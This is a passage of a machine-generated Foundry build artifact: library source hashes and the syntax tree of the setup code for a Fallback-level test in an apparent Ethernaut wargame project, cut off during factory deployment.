V8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/levels/Fallback.sol":{"keccak256":"0xbfa1fed654c49a81e9322e75f29737db0b0118c710c81ffdd11ab5adc5ecc296","urls":["bzz-raw://d9bbffc872f54f79540ff741dc3a01487c13117743916f552e2888310994dc41","dweb:/ipfs/QmXVRrTHXMz1UmXFswD7yRQCe9QeK8zRCHT4k3SnbpYcUS"],"license":"MIT"},"src/levels/FallbackFactory.sol":{"keccak256":"0xcf8386db2b09f2b0d458d8e600bec419e1d08f44946c09384dd400c5d165695c","urls":["bzz-raw://458622b6c09742090ea14f614bf159aeda6d0c29f647f7b1f4a4576ff14fbde2","dweb:/ipfs/QmWZaqoCvusCmENadV6ezMPd1Q2TkZrnYi7QVNHxqUyLdb"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/Fallback.t.sol":{"keccak256":"0x735d44310422245e60c681a498a11434a6cef87fff6422d00c4436d78933d6f0","urls":["bzz-raw://08faf2412bbe4a56ebe5de8d068447413e5d0a0ecc24599be2d7e0259ebb17f6","dweb:/ipfs/QmQNQttEBR5o8x6egvrG1ARPwnyeP4UZEa83V1j6koiMhd"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/Fallback.t.sol","id":60825,"exportedSymbols":{"Ethernaut":[49101],"Fallback":[52371],"FallbackFactory":[52434],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestFallback":[60824],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:2021:129","nodes":[{"id":60625,"nodeType":"PragmaDirective","src":"32:23:129","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":60626,"nodeType":"ImportDirective","src":"57:28:129","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":60825,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":60628,"nodeType":"ImportDirective","src":"86:43:129","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":60825,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":60627,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:129","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60630,"nodeType":"ImportDirective","src":"131:49:129","nodes":[],"absolutePath":"src/levels/Fallback.sol","file":"src/levels/Fallback.sol","nameLocation":"-1:-1:-1","scope":60825,"sourceUnit":52372,"symbolAliases":[{"foreign":{"id":60629,"name":"Fallback","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52371,"src":"139:8:129","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60632,"nodeType":"ImportDirective","src":"181:63:129","nodes":[],"absolutePath":"src/levels/FallbackFactory.sol","file":"src/levels/FallbackFactory.sol","nameLocation":"-1:-1:-1","scope":60825,"sourceUnit":52435,"symbolAliases":[{"foreign":{"id":60631,"name":"FallbackFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52434,"src":"189:15:129","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60634,"nodeType":"ImportDirective","src":"245:48:129","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":60825,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":60633,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"253:5:129","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60636,"nodeType":"ImportDirective","src":"294:44:129","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":60825,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":60635,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"302:9:129","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60824,"nodeType":"ContractDefinition","src":"340:1712:129","nodes":[{"id":60643,"nodeType":"VariableDeclaration","src":"383:19:129","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"393:9:129","scope":60824,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":60642,"nodeType":"UserDefinedTypeName","pathNode":{"id":60641,"name":"Ethernaut","nameLocations":["383:9:129"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"383:9:129"},"referencedDeclaration":49101,"src":"383:9:129","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":60646,"nodeType":"VariableDeclaration","src":"408:17:129","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"417:8:129","scope":60824,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"},"typeName":{"id":60645,"nodeType":"UserDefinedTypeName","pathNode":{"id":60644,"name":"Fallback","nameLocations":["408:8:129"],"nodeType":"IdentifierPath","referencedDeclaration":52371,"src":"408:8:129"},"referencedDeclaration":52371,"src":"408:8:129","typeDescriptions":{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"}},"visibility":"internal"},{"id":60648,"nodeType":"VariableDeclaration","src":"432:21:129","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"448:5:129","scope":60824,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":60647,"name":"address","nodeType":"ElementaryTypeName","src":"432:15:129","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":60650,"nodeType":"VariableDeclaration","src":"459:22:129","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"475:6:129","scope":60824,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":60649,"name":"address","nodeType":"ElementaryTypeName","src":"459:15:129","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":60752,"nodeType":"FunctionDefinition","src":"668:592:129","nodes":[],"body":{"id":60751,"nodeType":"Block","src":"692:568:129","nodes":[],"statements":[{"assignments":[60655],"declarations":[{"constant":false,"id":60655,"mutability":"mutable","name":"users","nameLocation":"727:5:129","nodeType":"VariableDeclaration","scope":60751,"src":"702:30:129","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":60653,"name":"address","nodeType":"ElementaryTypeName","src":"702:15:129","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":60654,"nodeType":"ArrayTypeName","src":"702:17:129","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":60659,"initialValue":{"arguments":[{"hexValue":"32","id":60657,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"747:1:129","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":60656,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"735:11:129","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":60658,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"735:14:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"702:47:129"},{"expression":{"id":60664,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":60660,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60648,"src":"760:5:129","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":60661,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60655,"src":"768:5:129","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":60663,"indexExpression":{"hexValue":"30","id":60662,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"774:1:129","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"768:8:129","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"760:16:129","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":60665,"nodeType":"ExpressionStatement","src":"760:16:129"},{"expression":{"arguments":[{"id":60669,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60648,"src":"795:5:129","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":60670,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"802:7:129","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":60666,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"786:2:129","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60668,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"789:5:129","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"786:8:129","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":60671,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"786:24:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60672,"nodeType":"ExpressionStatement","src":"786:24:129"},{"expression":{"id":60677,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":60673,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60650,"src":"821:6:129","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":60674,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60655,"src":"830:5:129","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":60676,"indexExpression":{"hexValue":"31","id":60675,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"836:1:129","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"830:8:129","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"821:17:129","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":60678,"nodeType":"ExpressionStatement","src":"821:17:129"},{"expression":{"arguments":[{"id":60682,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60650,"src":"857:6:129","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":60683,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"865:8:129","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":60679,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"848:2:129","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60681,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"851:5:129","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"848:8:129","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":60684,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"848:26:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60685,"nodeType":"ExpressionStatement","src":"848:26:129"},{"expression":{"arguments":[{"id":60689,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60648,"src":"899:5:129","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":60686,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"885:2:129","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60688,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"888:10:129","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"885:13:129","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":60690,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"885:20:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60691,"nodeType":"ExpressionStatement","src":"885:20:129"},{"expression":{"id":60696,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":60692,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60643,"src":"915:9:129","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":60694,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60648,"src":"954:5:129","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":60693,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"927:26:129","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":60695,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"927:33:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"915:45:129","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":60697,"nodeType":"ExpressionStatement","src":"915:45:129"},{"assignments":[60700],"declarations":[{"constant":false,"id":60700,"mutability":"mutable","name":"factory","nameLocation":"986:7:129","nodeType":"VariableDeclaration","scope":60751,"src":"970:23:129","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_FallbackFactory_$52434","typeString":"contract FallbackFactory"},"typeName":{"id":60699,"nodeType":"UserDefinedTypeName","pathNode":{"id":60698,"name":"FallbackFactory","nameLocations":["970:15:129"],"nodeType":"IdentifierPath","referencedDeclaration":52434,"src":"970:15:129"},"referencedDeclaration":52434,"src":"970:15:129","typeDescriptions":{"typeIdentifier":"t_contract$_FallbackFactory_$52434","typeString":"contract FallbackFactory"}},"visibility":"internal"}],"id":60705,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":60703,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"996:19:129","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_FallbackFactory_$52434_$","typeString":"function () returns (contract FallbackFactory)"},"typeName":{"id":60702,"nodeType":"UserDefinedTypeName","pathNode":{"id":60701,"name":"FallbackFactory","nameLocations":["1000:15:129"],"nodeType":"IdentifierPath","referencedDeclaration":52434,"src":"1000:15:129"},"referencedDeclaration":52434,"src":"1000:15:129","typeDescriptions":{"typeIdentifier":"t_contract$_FallbackFactory_$52434","typeString":"contract FallbackFactory"}}},"id":60704,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"996:21:129","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_FallbackFactory_$52434","typeString":"contract 